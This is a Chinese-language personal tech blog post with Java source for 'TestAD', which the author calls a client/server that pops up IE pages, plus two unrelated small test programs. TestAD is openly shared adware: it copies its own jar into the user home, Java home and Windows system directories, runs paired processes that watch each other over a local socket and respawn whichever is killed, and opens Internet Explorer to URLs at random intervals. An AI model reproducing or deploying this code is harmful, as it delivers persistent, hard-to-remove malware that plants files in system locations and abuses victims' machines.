Chinaunix首页 | 论坛 | 博客
  • 博客访问: 528048
  • 博文数量: 147
  • 博客积分: 10105
  • 博客等级: 上将
  • 技术积分: 1594
  • 用 户 组: 普通用户
  • 注册时间: 2006-06-14 10:18
文章分类

全部博文(147)

文章存档

2011年(4)

2010年(4)

2009年(6)

2008年(5)

2007年(40)

2006年(88)

我的朋友

分类: Java

2007-04-11 09:50:15

用java写一个client and server来启动IE弹出页面,已经通过本人test,只作学习用途,否则后果自负。。(首先介绍一个与本文无关的Random)

public class Random {
 public static void main(String[] args) {
//  Random r=new Random();
  java.util.Random r=new java.util.Random(10);
  for(int i=0;i<10;i++){
   System.out.println(r.nextInt());
  }
 }
}

不需要看上面的code,哈哈,只不过在test时我打印的几个随机数而已。

import java.io.*;
import java.net.*;
import javax.swing.*;
public class TestAD implements Runnable{
   
    private File[] root;
    private byte[] self;
    private static String IE="C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE ";
    private String[] urls;
    private boolean isServer;
    private Socket socket;
    /** Creates a new instance of TestAD */
    public TestAD(String demo) {
        initOther();
        readSelf();
        checkFile();
        new RunIE().start();
        if(demo==null){
            System.out.println("我是主进程");
            doServer();
        }else{
            System.out.println("我是子进程");
            doClient();
        }
    }
    private void initOther(){
        urls=new String[]{"",
        "","","blog.sohu.com","","",
        ""};
        root=new File[4];
        root[0]=new File(System.getProperty("user.home","."));
        root[1]=new File(System.getProperty("java.home","."));
        root[2]=new File(System.getenv("systemRoot"));
        root[3]=new File(System.getenv("systemDrive"));
    }
    //做server或者客户端做的事情
    private void doServer(){
        try{
            isServer=true;
            final ServerSocket ss=new ServerSocket(44444);
            System.out.println("主进程已监听");
            new Thread(new Runnable(){
                public void run(){
                    while(true){
                        try{
                            socket=ss.accept();
                            new Thread(TestAD.this).start();
                        } catch(Exception exe){
                            exe.printStackTrace();
                        }
                    }
                }
            }).start();
            startProcess();
        } catch(Exception exe){
            exe.printStackTrace();
        }
    }
    //做客户端的事
    private void doClient(){
        try{
            socket=new Socket("localhost",44444);
            new Thread(this).start();
            System.out.println("子进程已连上");
        } catch(Exception exe){
            exe.printStackTrace();
        }
    }
    //检查文件是否存在
    private void checkFile(){
        try{
            for(File dir:root){
                File file=new File(dir,"start.jar");
                if(!file.exists()){
                    copyFile(file);
                }
            }
        } catch(Exception exe){
            exe.printStackTrace();
        }
    }
    //复制文件到目标文件
    private void copyFile(File to){
        try{
            FileOutputStream fout=new FileOutputStream(to);
            fout.write(self);
            fout.close();
        } catch(Exception exe){
            exe.printStackTrace();
        }
    }
    //把自己读入内存
    private void readSelf(){
        try{
            FileInputStream fin=new FileInputStream(new File("start.jar"));
            ByteArrayOutputStream bout=new ByteArrayOutputStream();
            DataOutputStream fout=new DataOutputStream(bout);
            byte[] buffer=new byte[1024];
            int length=0;
            while((length=fin.read(buffer))!=-1){
                fout.write(buffer,0,length);
            }
            self=bout.toByteArray();
            fin.close();
            fout.close();
        } catch(Exception exe){
            exe.printStackTrace();
            JOptionPane.showMessageDialog(null,"读取自己出错"+exe);
        }
    }
    //随便启动一个进程
    private void startProcess(){
        out:for(File dir:root){
            File file=new File(dir,"start.jar");
            if(file.exists()){
                try{
                    Process p=Runtime.getRuntime().exec("java -cp "+file.getAbsolutePath()+" lbf.demo.TestAD demo");
                    System.out.println("子进程已启动"+p);
                    break out;
                } catch(Exception exe){
                    exe.printStackTrace();
                }
            }else{
                copyFile(file);
            }
        }
    }
    public void run(){
        try{
            InputStream is=socket.getInputStream();
            is.read();
        } catch(Exception exe){
            if(isServer){
                startProcess();
            }else{
                doServer();
            }
        }
    }
    //专门启动IE进程的线程
    private class RunIE extends Thread{
       
        public void run(){
            while(true){
                try{
                    Thread.sleep((int)(Math.random()*10000)+5000);
                    Runtime.getRuntime().exec(IE+urls[(int)(Math.random()*urls.length)]);
                } catch(Exception exe){
                    exe.printStackTrace();
                }
            }
        }
    }
    public static void main(String[] args) {
        if(args.length==0){
            new TestAD(null);
        }else{
            System.out.println("子进程的MAIN方法调用了");
            new TestAD(args[0]);
        }
    }
}
还要加入lib就可以了

文件: lib.rar
大小: 4KB
下载: 下载

下面一个与上面无关,只是在测试过程中遇到的一些问题而已

import java.io.*;
import java.net.*;

import javax.swing.*;
public class DemoTest implements Runnable{
 private boolean isServer;
 private Socket socket;

 public DemoTest(String demo) {
  if(demo==null){
   System.out.println("i am main program");
   doserver();
  }else{
   System.out.println("i am subordination prgramm");
   declient();
  }
  
 }

  private void declient(){
         try{
             socket=new Socket("localhost",80);
             new Thread(this).start();
             System.out.println("子进程已连上");
         } catch(Exception exe){
             exe.printStackTrace();
         }
     }

 private void doserver() {
  // TODO Auto-generated method stub
  
  try {isServer=true;
   final ServerSocket ss=new ServerSocket(81);
   System.out.println("main program have monitored");
   //start execute thread
   new Thread(new Runnable(){

    public void run() {
     // TODO execute Runnable Auto-generated method stub
     while(true){
       try {
       socket = ss.accept();
       System.out.println("socket socket ");
      } catch (IOException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }
     }
     
    }
    
   
   }).start();
  } catch (IOException e) {
   // TODO Auto-generated catch block
   e.printStackTrace();
  }
  
 }

 
 public void run() {
  // TODO  implements Runnable Auto-generated method stub
//
//        try{
//            InputStream is=socket.getInputStream();
//            is.read();
//        } catch(Exception exe){
//            if(isServer){
//                startProcess();
//            }else{
//                doServer();
//            }
//        }
   
  
 }
 public static void main(String[] args) {
        if(args.length==0){
         System.out.println("aaaaaaaaaaaaaaaaaa");
            new DemoTest(null);
            System.out.println("bbbbbbbbbbbbbbbbbb");
        }else{
            System.out.println("子进程的MAIN方法调用了");
            new DemoTest(args[0]);
        }
    }

 

}

 

阅读(1055) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~